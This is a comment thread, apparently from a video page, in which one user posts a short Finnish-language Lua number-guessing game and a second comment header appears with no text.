    @FakeRoba 3 роки тому

    Sama lua koodilla:
    math.randomseed(os.time())
    numeroa = math.random(1,100)
    pelaaja = {}
    pelaaja.arvaus = 0
    local Peli = false
    print("tervetuloa!")
    io.write('Haluatko pelata? (ok)')
    kysymys = io.read()
    if kysymys == "ok" then
    Peli = true
    print("Peli aloitetaan ")
    else
    print("ei sit vittu ")
    end
    while Peli do
    print("Arvaa numero: ")
    pelaaja.vastaus = io.read()
    pelaaja.arvaus = tonumber(pelaaja.vastaus)
    if ( pelaaja.arvaus > numeroa ) then
    print("Arvauksesi on liian iso")
    elseif ( pelaaja.arvaus < numeroa) then
    print("Arvauksesi on liian pieni")
    else
    print("Oikein!")
    os.exit()
    end
    end

  • @eemiltolonen8225
    @eemiltolonen8225 4 роки тому